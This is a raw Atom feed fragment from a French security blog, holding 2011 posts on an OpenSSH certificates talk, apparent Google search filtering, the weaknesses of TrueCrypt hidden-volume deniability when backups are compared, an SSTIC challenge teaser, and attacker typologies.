rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-53fbXJfan8I/Tdpf-tdlG4I/AAAAAAAAAEY/f7issWksdEU/s72-c/Image+1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-712240125734697765</id><published>2011-05-19T12:05:00.001+02:00</published><updated>2011-05-19T12:05:41.842+02:00</updated><title type='text'>RMLL 2011</title><content type='html'>Je participe aux &lt;a href="http://2011.rmll.info/"&gt;RMLL 2011&lt;/a&gt; (Rencontres Mondiales du Logiciel Libre). Je vais présenter une &lt;a href="http://2011.rmll.info/Certificats-Openssh-gerez-les-identites-dans-l-espace-et-dans-le-temps"&gt;conférence&lt;/a&gt; ayant pour sujet les certificats openssh.&lt;br /&gt;L'abstract de la conférence est le suivant:&lt;br /&gt;&lt;i&gt;ssh est un protocole de communication chiffré permettant à deux machines de communiquer de manière à ce qu’un auditeur placé entre les deux extrémités ne puissent pas connaître les échanges. Les modes de connexion par mot de passe ou clé sont couramment utilisé mais comportent néanmoins des limites dès lors qu’il faut gérer des identités sur un très grand nombre de machines ou dans le temps.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Depuis la version 5.4, openssh propose une certification des clés RSA hôtes et utilisateurs. Cet article vise à démontrer les avantages de cette nouvelle méthode en précisant les apports, aussi bien sur les certificats machines que les certificats utilisateurs. En effet il suffit d’une autorité de certification pour centraliser la gestion de l’ensemble des droits sans devoir se connecter régulièrement sur chacune des machines dont l’administrateur à la charge lorsque des droits de connexion arrivent à expiration ou doivent être modifiés&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;Le &lt;a href="http://2011.rmll.info/-Programme-"&gt;programme détaillé&lt;/a&gt; et les horaires devrait apparaître prochainement sur le site des RMLL.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Note: les certificats en question ne sont pas des certificats X.509. Cette conférence n'en parlera pas. Pour ceux qui veulent utiliser les certificats X.509 il faut utiliser les &lt;a href="http://roumenpetrov.info/openssh/"&gt;patchs de Roumen Petrov&lt;/a&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-712240125734697765?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/712240125734697765/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/05/rmll-2011.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/712240125734697765'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/712240125734697765'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/05/rmll-2011.html' title='RMLL 2011'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-1518685089061374019</id><published>2011-04-25T19:56:00.000+02:00</published><updated>2011-04-25T19:56:11.795+02:00</updated><title type='text'>Google, Hadopi et neutralité des recherches?</title><content type='html'>Il y a de ça quelques jours, le &lt;a href="http://www.youtube.com/watch?v=3NGSU2PM9dA"&gt;Doodle Google&lt;/a&gt; était celui de &lt;a href="http://fr.wikipedia.org/wiki/Charlie_Chaplin"&gt;Charlie Chaplin&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Appréciant particulièrement le (très) vieux cinéma, c'est à dire d'avant guerre, j'ai apprécié le clin d'oeil. Ayant laissé en dehors de chez moi un DVD légalement acheté et souhaitant le revoir, j'ai eu l'idée de le télécharger. Tout le monde connaît le google hack consistant à demander à google des videos sur megaupload en utilisant le mot clé "site:". Mais les résultats de recherche sont étrangement vides:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-lOXv6y6dmZg/TbWwMJSwKsI/AAAAAAAAAEI/hd0uBTC4Hn8/s1600/Image+3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="280" src="http://2.bp.blogspot.com/-lOXv6y6dmZg/TbWwMJSwKsI/AAAAAAAAAEI/hd0uBTC4Hn8/s400/Image+3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;Que des fichiers inférieurs à quelques Mo. Page2, idem. Page 3 et suivantes aussi. Clairement, aucune vidéos.&lt;br /&gt;&lt;br /&gt;Une recherche sur bing, par contre:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-vx3GSKBXV1E/TbWwkletA9I/AAAAAAAAAEM/yhPl-kmMGRE/s1600/Image+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://4.bp.blogspot.com/-vx3GSKBXV1E/TbWwkletA9I/AAAAAAAAAEM/yhPl-kmMGRE/s400/Image+2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;Les résultats 1 4 5 et 6, semblent apparentés à des vidéos. Bing ferait il mieux que google?&lt;br /&gt;&lt;br /&gt;J'ai vérifié également depuis un proxy chinois si les résultats étaient identiques (avec links, la liaison firefox étant trop lente):&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-79CMoCF5cAQ/TbWxJSR9XSI/AAAAAAAAAEQ/vlkA8B1tFpA/s1600/Image+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="210" src="http://3.bp.blogspot.com/-79CMoCF5cAQ/TbWxJSR9XSI/AAAAAAAAAEQ/vlkA8B1tFpA/s400/Image+1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;Aucune vidéo non plus, à moins que ce proxy envoie les &lt;a href="http://en.wikipedia.org/wiki/X-Forwarded-For"&gt;X-forwarded-for&lt;/a&gt; et que google le traque. Un internaute hors de france ou disposant d'un VPN pour confirmer, peut-être?&lt;br /&gt;&lt;br /&gt;Je sais que google &lt;a href="http://news.google.fr/search?q=google+panda"&gt;change de moteur de recherche&lt;/a&gt; et il me semble bien avoir lu que la HADOPI voulait que google les aide pour ne pas proposer de contenu illégal.&lt;br /&gt;&lt;br /&gt;Néanmoins, cela pose une question. Alors qu'on entend beaucoup parler de la neutralité des réseaux, quelle voix est donnée à la neutralité du résultat des recherches?&lt;br /&gt;Surtout qu'il ne s'agit pas de la première fois. A l'époque du scandale d'&lt;a href="http://fr.wikipedia.org/wiki/Prison_d%27Abou_Ghraib"&gt;Abou Ghraib&lt;/a&gt;, j'avais été très surpris de la vacuité des réponses de google lorsque l'on tapait ces mots-clés. Les news bruissaient de photos sulfureuses, la presse papier s'en faisait l'écho, les blogs crépitaient, et sur google: rien, le vide, le néant, tipota. Depuis, les passions se sont calmées et on a du résultat, mais il est arrivé bien tard.&lt;br /&gt;&lt;br /&gt;Aujourd'hui un autre trou noir semble s'ouvrir et google va empêcher de chercher et trouver des oeuvres tombées dans le domaine public; est-ce normal? Pourquoi ne pas faire un switch comme pour le contenu filtré ou non?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-1518685089061374019?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/1518685089061374019/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/04/google-hadopi-et-neutralite-des.html#comment-form' title='14 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1518685089061374019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1518685089061374019'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/04/google-hadopi-et-neutralite-des.html' title='Google, Hadopi et neutralité des recherches?'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-lOXv6y6dmZg/TbWwMJSwKsI/AAAAAAAAAEI/hd0uBTC4Hn8/s72-c/Image+3.png' height='72' width='72'/><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-561574063690860592</id><published>2011-04-15T11:26:00.002+02:00</published><updated>2011-04-15T13:55:55.141+02:00</updated><title type='text'>Why plausible deniability sucks, at last</title><content type='html'>La cryptographie est le meilleur moyen de garantir la confidentialité des données. Depuis &lt;a href="http://fr.wikipedia.org/wiki/Auguste_Kerckhoffs"&gt;Kerckhoffs&lt;/a&gt;, nous savons que les algorithmes doivent être publics et que la sécurité du chiffre ne doit reposer que sur sa clé. Si cette clé est divulguée, alors les données sont révélées. Pour parer à la demande de divulgation de la clé, il est tentant de cacher le chiffré. Deux méthodes existent, la &lt;a href="http://en.wikipedia.org/wiki/Steganography"&gt;stéganographie&lt;/a&gt;, ou la &lt;a href="http://en.wikipedia.org/wiki/Plausible_deniability"&gt;plausible deniability&lt;/a&gt;. Le concept de plausible deniability a été popularisé par &lt;a href="http://www.truecrypt.org/"&gt;truecrypt&lt;/a&gt; bien qu'il soit généralisable à tout autre système de chiffrement moyennant conditions. Ce principe repose sur l'existence de deux clés permettant d'ouvrir le même fichier chiffré, chaque clé donnant accès à des documents différents. La force de la méthode, dont le nom dérive, s'appuye sur le fait qu'il est impossible à un attaquant de prouver qu'une seconde clé existe.&lt;br /&gt;&lt;br /&gt;Cet article de blog va s'intéresser au fonctionnement de la plausible deniability et montrer qu'in fine, l'implémentation impose un usage très désagréable de la méthode. Tout d'abord sera expliqué comment la plausible deniability fonctionne, et comment deux clés peuvent ouvrir différemment le même fichier chiffré. Ensuite seront vus les détails d'implémentation afin d'éviter de dévoiler l'usage de la seconde clé. Enfin sera montré la faille de la méthode, et la manière inélégante de la contourner.&lt;br /&gt;&lt;br /&gt;En préambule, quelques mots de vocabulaire (je reprends la terminologie de Truecrypt). Le &lt;b&gt;container,&lt;/b&gt; ou &lt;b&gt;container principal&lt;/b&gt;, est le fichier contenant les données. Ce fichier n'a pas d'en-tête spécifique, il est chiffré intégralement. Le &lt;b&gt;premier container&lt;/b&gt; est généralement confondu avec le container principal. Les données du container principal ne sont accessibles que si l'on fournit la première clé. Tous les containers truecrypt contiennent un container principal. &lt;b&gt;Container caché&lt;/b&gt;: ce terme définit le second container, caché dans le container principal. Un second mot de passe permet d'accéder à ses&amp;nbsp;données.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1/Comment fonctionne la plausible deniability?/&lt;/b&gt;&lt;br /&gt;Démarrons par quelques définitions avant de montrer comment la plausible deniability est mise en oeuvre: Un procédé de chiffrement moderne doit produire un résultat indiscernable d'un flux d'octet aléatoire. Un container doit être préalablement rempli de données aléatoires.&lt;br /&gt;Et l'idée vient d'elle même: il est donc possible de faire cohabiter un second container s'il est suffisement loin du premier. Si on prend un livre blanc en exemple, il est possible d'écrire deux histoires, l'une démarrant page 0, et l'autre démarrant page 80. La connaissance de la page de démarrage permet d'accéder à l'une ou l'autre histoire. La plausible deniability fonctionne de la même manière, cf &lt;a href="http://www.truecrypt.org/images/docs/hidden-volume.gif"&gt;http://www.truecrypt.org/images/docs/hidden-volume.gif&lt;/a&gt; :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-lyDtf_Zs8UY/TagK5UoqA_I/AAAAAAAAAD8/vv3d37ZG8LQ/s1600/hidden-volume.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="217" src="http://2.bp.blogspot.com/-lyDtf_Zs8UY/TagK5UoqA_I/AAAAAAAAAD8/vv3d37ZG8LQ/s320/hidden-volume.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Cela fonctionne bien. Un attaquant ne pourra pas différencier les octets aléatoires de la fin du disque des octets chiffrés par le container caché. Quelques précautions d'usages sont nécessaires et découlent de la lecture de l'image ci-dessus. Le container caché sera toujours plus petit que le container principal. Le premier container ne devra pas contenir trop de données, en effet elles pourraient écraser les données du container caché. (Pour cette raison, truecrypt propose une &lt;a href="http://www.truecrypt.org/docs/hidden-volume-protection"&gt;protection du container caché&lt;/a&gt; lorsque l'on écrit dans le premier container; bien entendu, les deux mots de passes sont nécessaires :) ).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2/Quelles précautions d'usage?/&lt;/b&gt;&lt;br /&gt;Quelques précautions s'imposent pour celui qui souhaiterait implémenter son système de plausible deniability. Nous allons en voir quatre.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2.1-Le procédé crypto&lt;/b&gt;&lt;br /&gt;A partir du moment ou un attaquant est capable de différencier du chiffré de l'aléatoire, il sera capable de détecter l'existence du second container rendant la plausible deniability inefficace puisqu'il prouvera par la même l'existence de données non révélée par la fourniture du mot de passe du premier container.&lt;br /&gt;Truecrypt utilise &lt;a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard"&gt;AES&lt;/a&gt; comme méthode de chiffrement qui est encore solide à l'heure actuelle. Et le jour ou quelqu'un sera capable de différencier un flux aléatoire d'un flux chiffré par AES, il suffira de changer de procédé de chiffrement.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2.2-Le filesystem&lt;/b&gt;&lt;br /&gt;Dans le container, les données sont rangées à l'aide d'un filesystem. Certains filesystems ont des caractéritiques impropres à l'utilisation de la plausible deniability. Le filesystem par défaut de linux, extX, duplique de manière régulière des informations sur son emploi (superblock, tables d'inodes, etc..). Le container caché démarre à partir d'un certain seuil. Les données du container caché vont donc écraser les métadonnées du premier filesystem. Un attaquant peut donc vérifier l'état sain des métadonnées sur l'intégralité du container pour s'assurer qu'aucun container caché ne soit présent.&lt;br /&gt;&lt;br /&gt;Truecrypt fait le choix d'imposer FAT comme filesystem du premier container lors de l'emploi de la plausible deniability. FAT est un filesystem très basique qui n'écrit des données qu'au début de son disque. Il n'y a donc pas de risques d'écrasement des métadonnées du premier filesystem par le container caché puisqu'il n'y en a pas.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;2.3-Les sauvegardes&lt;/b&gt;&lt;br /&gt;Un cas particulier se pose pour les sauvegardes. En effet, un attaquant peut alors étudier deux versions du container et regarder les blocs de données qui sont modifiés. La détection de changement de blocs permet de prouver facilement l'existence d'un container caché. En effet, les blocs chiffrés ne sont modifiés que si le clair change. Le container caché démarre à partir d'un certain seuil, ou offset. Les blocs modifiés par le container caché sont donc au delà de ce seuil, et bien au delà des données du premier container. Un attaquant peut dès lors prouver l'existence du container caché par différenciation. Pour reprendre l'exemple du livre, cela signifie qu'un attaquant sait qu'entre deux versions les pages 1 à 10 ont été modifiées, et les pages 80 à 85. Le mot de passe du premier container lui indique que les fichiers font bien la taille des 10 premières pages. D'où la question: d'où viennent les modifs des pages 80 à 85? Et de là, découle la révélation du container caché.&lt;br /&gt;&lt;br /&gt;J'ai écrit un petit programme permettant de donner un aspect visuel à ces changements. Le principe en est le suivant: je XOR les octets de deux versions du container. Et je me sers du résultat pour en faire une image. Si les octets sont identiques, alors le résultat vaut 0 (et donc un pixel de couleur 000000: noir). Si les octets sont modifiés, alors un pixel est coloré. Ci-joint une image.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-OGefXSkf0Kc/TagNuQcBQwI/AAAAAAAAAEE/D7Of-37EVso/s1600/visible.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-OGefXSkf0Kc/TagNuQcBQwI/AAAAAAAAAEE/D7Of-37EVso/s1600/visible.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;Le premier bandeau chiffré du haut correspond à la modification des données du premier container. Le second bandeau prouve l'existence du container chiffré: ces octets n'ont aucune autre raison d'être modifiés que par l'existence d'ajout de données dans le container caché. Cela correspond de plus à mon container. J'avais réservé les 2/3 de l'espace pour mon container caché. Il démarre donc comme attendu au premier tiers du container principale.&lt;br /&gt;&lt;br /&gt;Truecrypt propose une solution pour éviter cela: il suffit de créer un nouveau container à chaque sauvegarde et dupliquer les données qu'il contient (cf: &lt;a href="http://www.truecrypt.org/docs/how-to-back-up-securely"&gt;http://www.truecrypt.org/docs/how-to-back-up-securely&lt;/a&gt;). &lt;br /&gt;Une autre solution serait de ne jamais faire de sauvegardes. Mais je ne pense pas que cela soit acceptable en raison du risque de pertes de données (on peut en effet penser que ces données sont importantes puisqu'elles nécessitent une protection accrue).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2.4-Les autres précautions&lt;/b&gt;&lt;br /&gt;Il faut bien entendu lire également &lt;a href="http://www.truecrypt.org/docs/?s=security-requirements-and-precautions"&gt;http://www.truecrypt.org/docs/?s=security-requirements-and-precautions&lt;/a&gt; qui évoque deux points principaux selon moi: la sécurité physique pour éviter la modification du logiciel Truecrypt (n'oubliez pas que &lt;a href="http://exploitability.blogspot.com/2010/08/truecrypt-will-never-be-same-ya-dun.html"&gt;6 lignes de codes sont suffisantes pour trojaniser Truecrypt&lt;/a&gt;..) et la manière d'éviter la duplication des blocs chiffrés pour que la détection du volume caché soit réalisable comme indiqué au chapitre au dessus. Ces précautions sont relativement contraignantes, mais sont nécessaires même pour l'emploi "classique" de truecrypt (c'est à dire sans plausible deniability).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3/Mais alors tout va bien?/&lt;/b&gt;&lt;br /&gt;Et bien non, tout ne va pas bien :-)&lt;br /&gt;Le ver est dans le fruit et dans les méthodes citées au dessus. Il est à peu près possible d'employer la plausible deniability de manière fiable, en faisant particulièrement attention aux sauvegardes. Et c'est précisément là ou le bât blesse.&lt;br /&gt;Prenons comme hypothèse une personne qui "&lt;i&gt;backup securely&lt;/i&gt;" ses containers truecrypt pour éviter que l'on détecte ses containers cachés. Plaçons nous désormais comme attaquant face à cette personne et posons lui la question suivante:&lt;br /&gt;"pourquoi avez vous choisi de générer un nouveau container de zéro pour chaque sauvegarde?".&lt;br /&gt;Et comme la seule et unique raison de générer un nouveau container pour chaque sauvegarde est de pouvoir camoufler l'usage d'un container caché, la méthode se retourne contre son utilisateur: en voulant cacher l'usage de ses containers cachés, il en démontre précisément l'existence!&lt;br /&gt;&lt;br /&gt;Aux échecs, cela s'appelle un &lt;a href="http://fr.wikipedia.org/wiki/Zugzwang"&gt;zugzwang&lt;/a&gt;: c'est à vous de jouer et tous les coups sont mauvais. Si vous utilisez la plausible deniability; vous vous mettez dans une situation désagréable ou soit vous êtes&lt;br /&gt;détectable, soit vous ne faites aucune sauvegarde...&lt;br /&gt;&lt;br /&gt;Moralité de l'histoire: il n'y en a pas.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-561574063690860592?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/561574063690860592/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/04/why-plausible-deniability-sucks-at-last.html#comment-form' title='7 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/561574063690860592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/561574063690860592'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/04/why-plausible-deniability-sucks-at-last.html' title='Why plausible deniability sucks, at last'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-lyDtf_Zs8UY/TagK5UoqA_I/AAAAAAAAAD8/vv3d37ZG8LQ/s72-c/hidden-volume.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-6098959963510164560</id><published>2011-03-21T09:28:00.004+01:00</published><updated>2011-03-21T09:41:38.433+01:00</updated><title type='text'>Vidéo du SSTIC bizarre autant qu'étrange.</title><content type='html'>En 17s:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;T+2s: "Poc"&lt;/div&gt;&lt;div&gt;T+4-6s: "Scratch scratch"&lt;/div&gt;&lt;div&gt;T+13s: "bruit indéfinissable" (démarreur grippé?)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Vous ne comprenez pas? Vous n'êtes sans doute pas les seuls, mais je suis sûr que certains &lt;a href="http://communaute.sstic.org/ChallengeSSTIC2011"&gt;trouveront&lt;/a&gt; :-)&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-6098959963510164560?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/6098959963510164560/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/03/video-bizarre-autant-quetrange.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6098959963510164560'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6098959963510164560'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/03/video-bizarre-autant-quetrange.html' title='Vidéo du SSTIC bizarre autant qu&apos;étrange.'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-1290569497946566900</id><published>2011-03-09T11:34:00.003+01:00</published><updated>2011-03-09T11:51:03.958+01:00</updated><title type='text'>Je ne parlerai pas du piratage du ministère des finances</title><content type='html'>&lt;a href="http://fr.wikipedia.org/wiki/Sun_Tzu"&gt;Sun Tzu&lt;/a&gt;, dans l'&lt;a href="http://fr.wikipedia.org/wiki/L%27Art_de_la_guerre"&gt;art de la guerre&lt;/a&gt; disait:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Connais ton ennemi et connais-toi toi-même; eussiez-vous cent guerres à soutenir, cent fois vous serez victorieux. Si tu ignores ton ennemi et que tu te connais toi-même, tes chances de perdre et de gagner seront égales. Si tu ignores à la fois ton ennemi et toi-même, tu ne compteras tes combats que par tes défaites.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cette maxime est vraie en sécurité informatique, mais qui est l'ennemi et comment le connaître?&lt;br /&gt;Il existe plusieurs études réalisées sur le sujet. J'en citerai deux, une américaine et une française, intéressante pour leur approche. Dans les deux cas, je ne parlerai que de la sécurité humaine. La sécurité informatique a une très forte composante "accidents naturels" (disque qui lache, haute disponibilité, résilience, onduleurs, etc..), mais je ne la considère pas dans ce post de blog. Seuls les facteurs "délibérés" seront exposés.&lt;br /&gt;&lt;br /&gt;L'&lt;a href="http://www.schneier.com/blog/archives/2011/02/the_seven_types.html"&gt;étude américaine&lt;/a&gt; recense 7 types d'attaquants.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Cyber criminel: Il s'agit de personnes professionnalisées, groupées, qui souhaitent uniquement faire de l'argent. (Identité bancaire, etc..)&lt;/li&gt;&lt;li&gt;Spammers et adware: Des personnes vendant du spam en gros.&lt;/li&gt;&lt;li&gt;Advanced Persistent Threat (APT): Groupes très organisés dont le but est le vol de propriété intellectuelle. Éventuellement, pour la vendre, cher, mais idéalement pour connaitre les idées d'une organisation et travaillent sur le long terme.&lt;/li&gt;&lt;li&gt;Espionnage: Le but est de voler une information particulière. Souvent de groupe réduit, et intéressés par des résultats rapides.&lt;/li&gt;&lt;li&gt;Hacktivisme: Le but est de modifier l'image d'une organisation vers un  jour défavorable. (defacement de site webs, leaks d'informations..)&lt;/li&gt;&lt;li&gt;Cyber Guerrier: Exploitation informatique visant à détruire une capacité d'un pays adverse. (pensez à l'Estonie ou à Stuxnet). Lié à l'APT, ou à l'espionnage, mais la finalité fait penser à un but militaire.&lt;/li&gt;&lt;li&gt;Le pirate: Un de ces millions d'informaticiens qui veut simplement tester  des trucs, ou prouver au monde qu'il est le plus fort, ou simplement  jouer avec des amis.&lt;/li&gt;&lt;/ol&gt;La défense à apporter à chacun de ces risques va bien évidemment varier. Contre le pirate, il faut être à jour des patchs, utiliser des antivirus et lire ses logs. Pour l'APT, cela devient beaucoup plus compliqué puisqu'il faut prendre en compte qu'il a en main l'intégralité du réseau et qu'il peut même lire les documents internes expliquant la stratégie mise en oeuvre pour s'en protéger! Concernant la cyber guerre, dès que l'objectif visé est connu, la défense devient efficace (pour Stuxnet, patchez vos 4 trous de sécurité et interdisez les ports USB, et l'attaque est anéantie).                                                                    &lt;br /&gt;&lt;br /&gt;Les français ont &lt;a href="http://www.circulaires.gouv.fr/pdf/2009/05/cir_25550.pdf"&gt;publié un document&lt;/a&gt; (2006, un peu ancien) qui décrit les éléments menaçants; tout d'abord les types, et ensuite les raisons poussant un individu ou une organisation à attaquer.&lt;br /&gt;Types:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Agresseurs: Hacker, qui est passionné et ne veut pas détruire (noté  comme de moins en moins expérimenté) et Cracker, qui lui cherche à  nuire.&lt;/li&gt;&lt;li&gt;Fraudeurs (trait de caractère français? ;)) le but est de gagner de  l'argent d'une victime ou de réduire ses frais (falsification de facture Edf par  exemple).&lt;/li&gt;&lt;li&gt;Employé malveillant: fraudeur interne, dont la motivation est soit  vengeresse (absence de primes, non reconnaissance interne) soit pour des  besoins matériels (détournements de fonds, de biens, chantage etc..)&lt;/li&gt;&lt;li&gt;Militants. Idéologues qui souhaitent faire passer un message par n'importe quel moyen&lt;/li&gt;&lt;li&gt;Espions. Guerre économique, patients, motivés, discrets, travaille à l'échelle étatique ou un concurrent&lt;/li&gt;&lt;li&gt;Terroristes. Les réseaux sont devenus des systèmes vitaux à l'échelle  d'un état et les terroristes veulent une action spectaculaire,  influente, destructrice, meurtrière.&lt;/li&gt;&lt;/ol&gt;Les motivations, sont elles, au nombre de 7:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Caractère stratégique: cette menace s'adresse au secret (d'état, de  propriété intellectuelle, ou commercial) et aux capacités normales de  fonctionnement (résilience). A l'échelle d'état, ou du concurrent.&lt;/li&gt;&lt;li&gt;Caractère idéologique: combat pour les idées. Curieusement, le rapport  indique que les pirates ont un courant de pensée souhaitant qu'aucune  information ne soit la propriété d'une personne d'un groupe ou d'un  état.&lt;/li&gt;&lt;li&gt;Caractère politique: Le WhistleBlower américain. Le but est d'alerter les médias pour faire réagir sur un évènement.&lt;/li&gt;&lt;li&gt;Caractère terroriste: cherche à déstabiliser un ordre établi. Par action  violente (destruction) ou détournée (modification de documents). En  général le but est spectaculaire. Souvent doté de moyens financiers  importants.&lt;/li&gt;&lt;li&gt;Caractère cupide: délinquance en col blanc :) qui se traduit de deux  manières. Premièrement le gain (d'argent ou savoir-faire, brevet, etc..)  pour l'attaquant. Deuxièmement, une perte pour la victime (crédibilité,  fichier client, part de marchés, etc..).&lt;/li&gt;&lt;li&gt;Caractère ludique: la démocratisation de l'informatique a permis à  certain d'en décoder le fonctionnement précis. Plus intéressé par le jeu  et l'exploit, ils cherchent à montrer les failles du système plutôt que de les exploiter. Les victimes seront des organismes  réputés pour leur inviolabilité ou leur haut niveau technique...&lt;/li&gt;&lt;li&gt;Caractère vengeur: souvent du fait d'un employé s'étant senti incompris.  Ses actes ne sont pas corrélé avec les causes dans le temps.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;On retrouve dans ces deux analyses des traits communs. L'étude française semble plus s'intéresser aux motivations et à l'humain, l'étude américaine aux risques. Dans les deux cas, il manque le cas ou c'est l'administrateur qui se retrouve malveillant (peut-être un sous-ensemble d'employé malveillant, ou l'employé est soit utilisateur, soit admin). Il manque aussi une définition des moyens et de l'expertise des attaquants, mais elle se lit assez bien en filigrane. Les moyens et expertise d'un hacktiviste voulant sauver les baleines à bosses (noble combat, ceci dit) ne seront bien évidemment pas ceux d'un groupe "Advanced Persistent Threat".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maintenant que l'attaquant n'est plus ignoré, il reste à se connaître pour gagner 100 victoires.&lt;div class="blogger-post-footer"&gt;&lt;img 